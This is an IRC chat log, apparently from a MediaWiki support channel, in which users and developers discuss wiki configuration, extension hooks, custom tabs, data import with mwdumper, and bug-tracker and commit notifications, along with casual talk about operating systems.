[16:45:40] <HRailsKillMe>	that was 15 years ago, not sure it will be usefull :)
[16:45:48] <HRailsKillMe>	most of them are in french anyway...
[16:46:11] <HRailsKillMe>	ask a CS teacher for recommandations.  I think stanford published some courses online.
[16:46:19] <Fumoh>	exit
[16:46:35] <HRailsKillMe>	shopping time, cya later.
[16:46:35] <Duduman>	I watched some harvard c videos
[16:47:30] <Duduman>	How to think like a computer scientist is the most known I think
[16:56:07] <Holos>	Hi, is there a guide or document on making mediawiki redirect the edit link to a different server? I'd like to setup a replicated copy of our wiki to a different site, but obviously it's going to need to be read only, so I'd like to redirect the edit page back to the master.
[16:58:50] <ialex>	Holos: you can try to use the GetLocalURL hook
[16:59:05] <ialex>	if you want to change the URL
[16:59:45] <ialex>	or you can use MediaWikiPerformAction to redirect when calling action=edit (or action=submit)
[17:00:42] <^demon>	<3 MediaWikiPerformAction
[17:00:51] <ialex>	hehe :)
[17:00:58] <^demon>	Best hook ever.
[17:02:01] <Holos>	The Rewrite rule may also be what I'm looking for, redirect ^(.*)action=edit(.*)$ to the master.
[17:02:13] <Holos>	in Apache..
[17:02:51] <ialex>	Holos: you can also redirect action=submit (which does the same as action=edit)
[17:10:04] <mdale>	just found the "ScaryTranscluding" feature ... i like it ... "what could possibly go wrong"
[17:11:09] <Marybelle>	I don't think anybody has done any work on that feature since it was introduced.
[17:11:16] <Marybelle>	I'm surprised it still works.
[17:12:18] <mdale>	(did not test it) ... but all sorts of questions pop-up as to "how" it would work 
[17:13:09] <wikibugs>	04(REOPENED) Change AbuseFilter rights on Russian Wikipedia - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17998  summary; +comment (10AlexSm)
[17:23:05] <Mentifisto>	anyone knows what the best way to monitor AIV is?
[17:25:24] <flyingparchment>	what is AIV?
[17:26:29] <Mentifisto>	http://en.wikipedia.org/wiki/Wikipedia:Administrator_intervention_against_vandalism sorry :)
[17:26:41] <flyingparchment>	and what do you mean by "monitor"?
[17:27:01] <Mentifisto>	well, get the live feed of reports instead of manually going there every time
[17:27:22] <flyingparchment>	you could use the rss feed of the history
[17:28:24] <Marybelle>	Or an IRC relay bot.
[17:28:55] <Mentifisto>	yeah but at least firefox's rss capability isn't as ideally efficient since it's semi-automatic and doesn't notify you... do you know if external ones are better usually?
[17:29:13] <Mentifisto>	Marybelle: yes and I do usually with SoxBot but it goes down nearly every day
[17:29:28] <flyingparchment>	a normal desktop rss reader will either have a small window to display new events, or will show a tip in the system tray (or both)
[17:29:42] <Marybelle>	So build a better bot. ;-)
[17:29:52] <Marybelle>	Or get a proper RSS feed reader. 
[17:30:03] <flyingparchment>	(i use the sidebar rss thing that comes with vista, it seems to work okay)
[17:30:23] <Marybelle>	You're using Vista?
[17:30:31] <Marybelle>	I thought you used some Linux variant.
[17:30:48] <flyingparchment>	no, i hate linux.  tried it on the desktop and it still sucks
[17:31:07] <brion>	hehehehe
[17:31:39] <Marybelle>	Still, I'm surprised you're using Vista. I would've guess OS X or XP.
[17:31:44] <Marybelle>	Guessed, too.
[17:31:57] <mdale>	...must resist urge to get into OS debate....
[17:32:01] <flyingparchment>	vista is better than XP.  the only people who think otherwise are those guys who just hate anything that's new
[17:32:23] <Mentifisto>	isn't it bloated?
[17:32:40] <flyingparchment>	i didn't find it so, but then i don't use an old 486 for my desktop like a lot of people seem to ;)
[17:36:26] <brion>	i've had annoyances with vista, but that's mainly from the shit that's preinstalled by the manufacturer ;)
[17:36:33] <brion>	i've never used it as my daily OS
[17:36:50] <brion>	most software compat problems seem to be long gone (but in 2007 lots of stuff sucked :)
[17:36:57] <Marybelle>	It's fine if you can capture it in a VM and be able to shut it down when you get frustrated.
[17:37:39] <brion>	heheh
[17:37:51] <svip_>	Wikinews and wiktionary has certain special spaces attached.
[17:37:57] <svip_>	e.g. citations and comments
[17:38:11] <brion>	my main annoyance with windows is that since it's *not* my main OS, the only times i touch it are to test something in IE or to fix someone *else*'s wifi
[17:38:15] <svip_>	Is this a hack or a customisation?
[17:38:19] <brion>	and the wifi configuration is different every time i look
[17:39:00] <brion>	svip: atm i think those are done in custom javascript
[17:39:13] <brion>	adding tabs can be done via mediawiki extensions as well
[17:39:29] <Mentifisto>	what's your main OS?
[17:39:52] *brion 	loves his mac os x
[17:41:20] <CIA-15>	03mfarag * r49777 10/trunk/tools/planet/ar/ (config.ini templates/index.html.tmpl): Add a new blog and sort by name
[17:53:59] <svip_>	js, brion?  Sounds a bit silly.
[17:54:12] <svip_>	No wait.  VERY silly.
[17:54:35] <Marybelle>	Everybody realizes.
[17:54:40] <brion>	\o/
[17:54:53] <svip_>	He cannot be serious.
[17:55:49] <CIA-15>	03ialex * r49778 10/trunk/extensions/SkinPerNamespace/SkinPerNamespace.php: Call Skin::setTitle() in 1.15+ so that it doesn't throw E_ERROR when using $this->mTitle in Skin
[17:56:58] <Hashar>	my next comp will be a mac
[17:57:05] <Hashar>	I cant resist the huge touchpad
[17:57:14] <flyingparchment>	i would consider a mac, but without trying OS X, i don't think i'd want to commit to using it
[17:57:21] <flyingparchment>	and i don't know anyone that uses it ;)
[17:57:25] <svip_>	It has a terminal...
[17:57:38] <svip_>	It comes with SSH per default.
[17:57:42] <svip_>	Even zsh.
[17:57:48] <svip_>	I mean, what's not to like?
[17:57:53] <flyingparchment>	hm, right, i'd have to use a crappy command line ssh client.. there's one reason not to use it ;)
[17:58:16] <svip_>	But is that approved by Steve Jobs?
[17:58:22] <Hashar>	try it in an apple store maybe ?
[17:58:27] <svip_>	That's what you have to consider every time you buy a product.
[17:58:40] <svip_>	"What would Steve Jobs do?"
[18:00:13] <Hashar>	he would remove the 104 useless keys from your keyboard. As he did for the mouse.
[18:00:37] <svip_>	105, please.
[18:00:42] <svip_>	I have a sane keyboard.
[18:05:25] <brion>	flyingparchment: dude, the net's full of hacked os x installs that work on various non-apple PCs :) try before you buy ;)
[18:05:33] *brion 	does not advocate software piracy
[18:05:38] <flyingparchment>	would you trust those? ;)
[18:06:00] <Nikerabbit>	:o
[18:06:02] <Hashar>	it it FOSS ?
[18:06:09] <flyingparchment>	OS X?  no
[18:06:11] <atglenn>	free  as in piracy I guess
[18:09:02] <Hashar>	my real question is : "is an illuminated keyboard really worth 300 € ?" ; )
[18:09:40] <Nikerabbit>	:o
[18:09:44] <Nikerabbit>	no
[18:09:51] <Nikerabbit>	you can have small light for it
[18:21:32] <amazing>	I'm trying to configure our wiki so that it emails the address associated with a sysop everytime any change is made. Is there a way to do this? I want to do this primarily to serve as a reminder to my team that someone has made a change to the wiki so that people can read it and make the appropriate changes if necessary. I've browsed through the documentation at mediawiki but haven't found answer... How do I do this? Thanks!
[18:22:18] <charitwo>	have all your sysops add all pages to a watchlist and have that setting ticked in your preferences
[18:22:43] <ialex>	!wg UsersNotifiedOnAllChanges | amazing
[18:22:43] --mwbot--	amazing: http://www.mediawiki.org/wiki/Manual:%24wgUsersNotifiedOnAllChanges
[18:23:00] <wikibugs>	03(NEW) relative paths do not work in Special:ExpandTemplates - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18567 minor; Normal; MediaWiki: Special pages; (happy-melon)
[18:23:16] <Hashar>	mw got too many options :)
[18:23:32] <amazing>	sweet.... this looks good. thanks all.
[18:23:53] <ialex>	no problem :)
[18:24:42] <CIA-15>	03mfarag * r49779 10/trunk/tools/planet/ar/templates/index.html.tmpl: update list
[18:25:59] <lucadealfaro_>	Hashar, to me, it is.  Depends on where you have to use it, but if that includes dark rooms, it's either that, or nothing. 
[18:32:02] <Hashar>	I barely look at my keyboard anyway :)
[18:33:00] <mooseish>	how do I show the [edit] links for anonymous users, but require a login to actually edit?
[18:34:35] <CIA-15>	03mfarag * r49780 10/trunk/extensions/SecurePoll/SecurePoll.alias.php: add author info
[18:34:35] <lucadealfaro_>	I use it very often in cars, etc, where keyboard light is very useful and an add-on light would be cumbersome.  I also use it in bed (who reads newspapers on paper anymore??). So for me it's very nice, but if you are used already to not having it...
[18:37:15] <Hashar>	I found it usefull, but not enough to be worth 300€. So I am not getting it :)
[18:37:51] <Hashar>	and I still read paper, specially when walking or at the beach.
[18:40:20] <Fumoh>	Ah blerg, I'm having some trouble configuring file uploads for mediawiki/php.  I'm using IIS7, I've set the upload path in php.ini, but when I try to upload a file I get the error message "Could not find file "C:\Windows\Temp\phpC30A.tmp"".
[18:40:54] <Fumoh>	I have no idea where it's getting that path from, and where I should change it to the temp path I want to use.
[18:43:56] <hashar>	it might be the previous path. You probably need to restart IIS to make it reread the php.ini
[18:45:31] <Fumoh>	I thought so too, but I did restart IIS with the same result.
[18:47:06] <failure>	iis lol
[18:49:06] <Fumoh>	I know, life is hard.
[18:52:11] <ialex>	Does anyone has an idea why we have a "Pages in namespace (Magic word disabled currently)" parser test and returning an empty string?
[18:52:28] <CIA-15>	03shinjiman * r49781 10/trunk/phase3/languages/messages/ (4 files): Localisation updates Cantonese, Chinese and Literary Chinese
[19:04:53] <wikibugs>	03(NEW) hideuser doesn't check all log types - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18568 normal; Normal; MediaWiki: Blocking; (mikelifeguard)
[19:16:03] <wikibugs>	03(mod) hideuser doesn't check all log types - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18568  (10JSchulz_4587)
[19:25:17] <svip_>	What function buils the page tabs?
[19:25:27] <svip_>	buildContentActionUrls() in SkinTemplate.php ?
[19:26:54] <ialex>	svip: yes
[19:27:19] <ialex>	(only for SkinTemplate-based skins, of course)
[19:27:43] <svip_>	Like Monobook?
[19:27:56] <svip_>	Right.
[19:28:12] <svip_>	How often does this function get called?
[19:30:43] <wikibugs>	03(NEW) donate.wikimedia.org and donate.wikipedia.org are redirecting incorrectly - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18569 major; Normal; Wikimedia: Site requests; (brion)
[19:31:26] <ialex>	svip_: once per request imho
[19:31:48] <svip_>	Hm.
[19:31:52] <svip_>	Doesn't seem like so to me.
[19:32:15] <svip_>	Even when I add an echo statment in it (I know, don't do that, it is just for testing), nothing comes out.
[19:33:21] <ialex>	svip_: where did you put your echo?
[19:33:43] <svip_>	After the construction of $content_actions as an array().
[19:34:50] <ialex>	svip: which skin?
[19:35:00] <svip_>	Monobook.
[19:35:29] <ialex>	works correctly here
[19:35:44] <svip_>	Very strange.
[19:35:47] <ialex>	are you sure that the page is not cached?
[19:38:21] <svip_>	I am certain I did not set up anything like that.
[19:39:38] <wikibugs>	03(mod) relative paths do not work in Special:ExpandTemplates - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18567  (10alex.emsenhuber)
[19:43:15] <svip_>	To my surprise, ialex, MediaWiki did not have a $wgNamespacesWithoutTalkPages like variable.
[19:43:54] <ialex>	svip_: namespaces must have a talk namespace
[19:44:01] <svip_>	Must?
[19:44:23] <ialex>	yes
[19:44:44] <svip_>	Well, let me ask the obvious question; why?
[19:48:51] <ialex>	because that's how MediaWiki works. If you don't define one, then all links to talk pages (e.g. {{TALKPAGE}}, tabs) will be broken
[19:49:11] <svip_>	I realise that.
[19:50:15] <svip_>	But this is also why I have appened a slight bit of code to adapt to this issue.
[19:50:45] <svip_>	Then again; the intention is to modify the MediaWiki software for this wiki.
[19:50:57] <svip_>	As it is not really going to be a wiki in the encyclopaedic or similar sense.
[19:57:45] <wikibugs>	14(WFM) relative paths do not work in Special:ExpandTemplates - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18567  +comment (10alex.emsenhuber)
[19:58:05] <Mike_lifeguard>	svip_: The point is to have a content page and meta page which are 'attached' in some sense. Why do you not want that?
[20:00:21] <svip_>	What if the namespace itself is as meta as you can get?
[20:00:29] <svip_>	I do not want meta in the nth degree.
[20:07:31] <CIA-15>	03ialex * r49782 10/trunk/phase3/includes/Skin.php: Get the 'action' URL parameter from $wgRequest rather than from the $action global variable
[20:12:12] <CIA-15>	03hashar * r49783 10/trunk/phase3/maintenance/: Ignore searchUpdate.pos made by updateSearchIndex.php
[20:22:04] <CIA-15>	03rotem * r49784 10/trunk/extensions/AbuseFilter/AbuseFilter.i18n.php: Localization update for he.
[20:32:01] <svip_>	Woo, I got additional tabs to work. \o/
[20:32:20] <svip_>	Hm, with the code I wrote, I could add an infinite amount of custom tabs with namespaces attached.
[20:39:41] <Ose>	svip_: ever seen lostpedia?
[20:41:04] <svip_>	Hm.
[20:41:08] <svip_>	Should I?
[20:41:15] <Ose>	dunno what kind of code they use, but they have an extra tab on certain pages
[20:41:17] <Ose>	http://lostpedia.wikia.com/wiki/Ben
[20:41:37] <svip_>	Not entirely the same.
[20:41:40] <svip_>	That is a subpage.
[20:41:43] <svip_>	Not a namespace.
[20:41:52] <svip_>	Mine uses namespaces for the extra tabs.
[20:41:58] <svip_>	Hm.
[20:42:05] <svip_>	I think I will write a page about it.
[20:42:17] <svip_>	I wonder if MW has forum for this sort of thing.
[20:42:43] <RoanKattouw>	I'm sure there are MW forums, there's just not an "official" one
[20:42:51] <Emufarmers>	mwusers.com?
[20:43:07] <Emufarmers>	er, wait
[20:43:11] <Emufarmers>	why would you want that sort of thing on a forum?
[20:43:31] <svip_>	I did not literally meant a forum.
[20:43:42] <svip_>	Just a place where  it wouldn't go silent.
[20:43:53] <Emufarmers>	Oh
[20:44:06] <Emufarmers>	Well, it will probably go silent no matter where you put it if nobody has any interest in it. :-)
[20:44:16] <svip_>	:p
[20:44:21] <Emufarmers>	But if it's an extension, you can put it on MW.org
[20:44:48] <svip_>	Well, it modifies buildContentActionUrls() in SkinTemplate.
[20:46:10] <wikibugs>	03(mod) hideuser doesn't check all log types - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18568  +comment (10mikelifeguard)
[20:46:17] <Vyznev>	I'd say you should probably put it on mediawiki.org anyway, though I can't offhand say where in there would be the best place
[20:46:50] <svip_>	I am putting it on a subpage to my userpage.
[20:47:08] <Vyznev>	it's almost a FAQ: "how do I add more namespaces to the tab bar besides the 'article' and 'discussion' tabs?"
[20:47:22] <RoanKattouw>	svip_: You shouldn't need to modify that, use the hook
[20:47:30] <RoanKattouw>	SkinTemplateContentActions I believe
[20:47:42] <RoanKattouw>	!man Hooks/SkinTemplateContentActions
[20:47:42] --mwbot--	http://www.mediawiki.org/wiki/Manual:Hooks%2FSkinTemplateContentActions
[20:47:43] <Emufarmers>	Pretty sure there's already some stuff floating around for adding more tabs
[20:47:58] <RoanKattouw>	... and of course that URL is broken http://www.mediawiki.org/wiki/Manual:Hooks/SkinTemplateContentActions
[20:48:12] <RoanKattouw>	There's even a demo extension that adds a tab
[20:50:15] <poke`>	hey
[20:50:48] <Forrester>	does anyone here has sonetrhing  to do with https://bugzilla.wikimedia.org/show_bug.cgi?id=17275 ?
[20:51:18] <Emufarmers>	Forrester: did you read Aaron's reply?
[20:51:30] <Forrester>	yes
[20:51:43] <Forrester>	It's not an issue unless it happens all the time.  >>> it does
[20:52:10] <Emufarmers>	You should probably add that in a comment on the bug, then
[20:52:26] <Forrester>	hm
[20:53:54] <Emufarmers>	Or poke brion, werdna, or Aaron (if he were here)
[21:06:34] <svip_>	Emufarmers: http://www.mediawiki.org/wiki/User:Svippong/AdditionalTabs
[21:10:08] <wikibugs>	04(REOPENED) relative paths do not work in Special:ExpandTemplates - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18567  (10happy-melon)
[21:10:10] <wikibugs>	03(mod) relative paths do not work in Special:ExpandTemplates - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18567  (10happy-melon)
[21:10:18] <wikibugs>	04(REOPENED) database error occurs while saving a page - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17275  +comment (10forrester.wikipedia)
[21:18:43] <svip_>	And nobody cared.
[21:20:22] <Emufarmers>	Did you expect a parade or something? :p
[21:20:32] <svip_>	I expected a response.
[21:20:37] <svip_>	Even if it was only "meh".
[21:20:43] <Emufarmers>	Oh
[21:20:44] <Emufarmers>	sorry
[21:20:47] <Emufarmers>	Meh
[21:20:50] <svip_>	Thanks.
[21:23:40] <svip_>	I hoped there was more interest for this. :[
[21:23:47] <svip_>	How wrong I was...
[21:24:31] <CIA-15>	03demon * r49785 10/trunk/tools/planet/en/config.ini: rm User:Svaksha as requested on meta. Completely off-topic.
[21:25:12] <lucadealfaro_>	svip, this is quite cool, I did not know about it
[21:25:23] <svip_>	Well, I just wrote it. O_O
[21:25:49] <Emufarmers>	svip_: I don't think all the people who would be interested are going to be in this channel or watching the RC for mw.org :)
[21:26:12] <svip_>	Shugs!
[21:26:38] <Emufarmers>	Also, there are already extensions for it, and extensions are generally preferable to code hacks
[21:27:02] <svip_>	I could not find one.
[21:27:15] <Emufarmers>	http://www.mediawiki.org/w/index.php?title=Special:Search&search=tabs&go=Go
[21:27:21] <svip_>	Yeah, I did that.
[21:27:26] <svip_>	None of them was what I was going for.
[21:27:33] <Emufarmers>	brb
[21:28:54] <^demon>	svip_: Interesting idea and maybe worth putting in core :)
[21:29:12] <svip_>	:o
[21:29:20] <^demon>	Not sure on the implementation though.
[21:29:23] <^demon>	Could be simpler.
[21:29:27] <svip_>	Sure it could.
[21:29:35] <svip_>	It is sligthly proof of concept.
[21:32:04] <Emufarmers>	svip_: how is this different from http://www.mediawiki.org/wiki/Extension:DynamicTabs ?
[21:33:24] <svip_>	That mine isn't experimental.
[21:33:53] <^demon>	Emufarmers: The code in DynamicTabs is kinda bleh.
[21:34:33] <Emufarmers>	OK, how about http://www.mediawiki.org/wiki/Extension:GroupPermissionsManager/CustomTabs ?
[21:35:17] <svip_>	First of all, the first one does not do the same as mine, it simply configures the already existing tabs.
[21:35:25] <svip_>	The second one configures it for *all* namespaces.
[21:37:31] <svip_>	I found it odd no one had written what I wrote before; 'cause it seems so straight forward.
[21:45:37] <Danwe>	hi
[21:46:35] <Danwe>	whats the easyest way to fill a wiki with some test datas? I need about 50 pages filled with some text and some idividual parameters on each page
[21:47:48] <saper>	Danwe: with a bot like autowikibrowser or pywikipedia?
[21:48:25] <lucadealfaro_>	Danwe: I would write a script that produces a file.xml in the mediawiki dump format, then use mwdumper to load the data; that gives you lots of control
[21:49:04] <Danwe>	and then import the xml file?
[21:49:12] <lucadealfaro_>	Yes, using mwdumper
[21:49:37] <wikibugs>	03(mod) Confirmation box after saving an edit - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=16066  +comment (10jidanni)
[21:49:38] <Danwe>	not special:Import ?
[21:50:01] <lucadealfaro_>	Ok, writing the script takes a bit of time (1 hr?), but highly customizable... there may be better ways but I don't know
[21:50:25] <lucadealfaro_>	I haven't uused special:import, it might work
[21:50:32] <Danwe>	I gues I could create the xml with copy paste as well?
[21:51:28] <saper>	yes, you can
[21:51:43] <lucadealfaro_>	Sure... it depends on how finely you want to control the data, e.g. to endure that each revision has a different timestamp (revision ids need to be different, also page ids, so I am not sure you can cut-and-paste all that easily w/o making mistakes)
[21:52:05] <lucadealfaro_>	there may be easier ways. 
[21:52:41] <Danwe>	ok thank you, I will try a few things
[21:54:02] <wikibugs>	03(mod) Give "Your edit has been saved" confirmation messages - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=16066  summary; +comment (10jidanni)
[21:55:18] <wikibugs>	03(mod) RSS <link>s should be from /, not http:// - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=17538  +comment (10jidanni)
[21:55:21] <wikibugs>	03(mod) RSS/Atom feeds use fully-qualified URIs rather than relative ones - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=16357  +comment (10jidanni)
[22:02:13] <chuck>	will mediawiki send emails and trigger the orange notification bar if someone makes a minor edit to the user's talk page
[22:04:38] <Emufarmers>	I believe it's only bot edits that are exempt from the orange notification bar
[22:05:02] <chuck>	oh
[22:05:16] <Emufarmers>	But you could, you know, test it
[22:05:44] <Emufarmers>	it'd take all of thirty seconds
[22:15:23] <Danwe>	MWDumper only works if I have no pages in my wiki already?
[22:16:05] <lucadealfaro_>	Wow, I hope not, I hope it just adds revisions to a wiki... otherwise I am also in trouble for something I need to do... 
[22:16:55] <lucadealfaro_>	I am 99% sure it works. 
[22:17:13] <lucadealfaro_>	Once I had to load a dump of itwiki
[22:17:31] <magewhopper>	every new installed wiki has a main page, so it works :D
[22:17:36] <lucadealfaro_>	What I did is I split the dump into 100-article pieces, and loaded each piece independently. 
[22:17:56] <lucadealfaro_>	So it must work.  Thanks magewhopper!
[22:18:17] <magewhopper>	:)
[22:20:04] <Danwe>	http://www.mediawiki.org/wiki/MWDumper#Usage
[22:20:14] <Danwe>	"The tables 'page', 'revision' and 'text' must be empty for a successful import."
[22:20:26] <Danwe>	doesn't that mean no pages in the wiki?
[22:22:14] <lucadealfaro_>	I think there are problems if the revision or page id in the dump clash with revision or page ids in the tables, but don't take my word for it
[22:23:17] <wikibugs>	14(WFM) relative paths do not work in Special:ExpandTemplates - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18567  +comment (10pathoschild+wmbugs)
[22:23:19] <magewhopper>	if you'll import all revisions and old texts, it will fail cause same text_id
[22:25:57] <wikibugs>	03(FIXED) donate.wikimedia.org and donate.wikipedia.org are redirecting incorrectly - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18569  +comment (10tfinc)
[23:09:51] <wikibugs>	03(NEW) meta tag for feed should point to watchlist, not recent changes - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18570 enhancement; Normal; MediaWiki: Watchlist; (edwardzyang)
[23:10:33] <wikibugs>	14(DUP) meta tag for feed should point to watchlist, not recent changes - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18570  +comment (10edwardzyang)
[23:10:35] <wikibugs>	03(mod) Basic XML Feed support for watchlist (implementation idea: token) - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=471  +comment (10edwardzyang)
[23:13:08] <Danwe>	Somebody here knows about MW Extension programming? I need to do something like modifying the output of templates inside of a page. Is that possible? I only find hooks to change the content of the page but not to access each single template which the parser executes...
[23:18:58] <Danwe>	is there a miling list or forum for MW developers or something where I can get support?
[23:22:20] <Splarka>	Danwe: there is https://lists.wikimedia.org/mailman/listinfo/mediawiki-l but it is more for development, there is mediawiki.org and the talk pages of many pages are full of people asking for help
[23:24:07] <Danwe>	so mediawiki-l is more for MW developers or also for extension developers?
[23:24:24] <Danwe>	Because I am writing an extension actually
[23:25:30] *Splarka 	doesn't care, not subscribed, spam away ^_^
[23:25:33] *Splarka 	hides
[23:34:50] <^demon|away>	Hehe, is Wikipedia protected against EMPs?
[23:34:51] <^demon|away>	http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_(technical)&diff=285747973&oldid=285741078
[23:37:32] *Splarka 	solar flares ^demon
[23:38:24] <CIA-15>	03dale * r49786 10/branches/new-upload/phase3/ (23 files in 8 dirs): 
[23:38:24] <CIA-15>	lots of upload updates (debug commit)
[23:38:24] <CIA-15>	* chunks uploading working (little error checking)
[23:38:24] <CIA-15>	* added PEAR http request class
[23:38:24] <CIA-15>	* added stubs for background http requests
[23:38:25] <CIA-15>	* added config for php-path determination
[23:38:27] <CIA-15>	and some other stuff...
[23:38:34] <werdna>	yay mdale 
[23:38:53] <mdale>	hey werdna ;)
[23:38:59] <mdale>	on my way out... talk to you later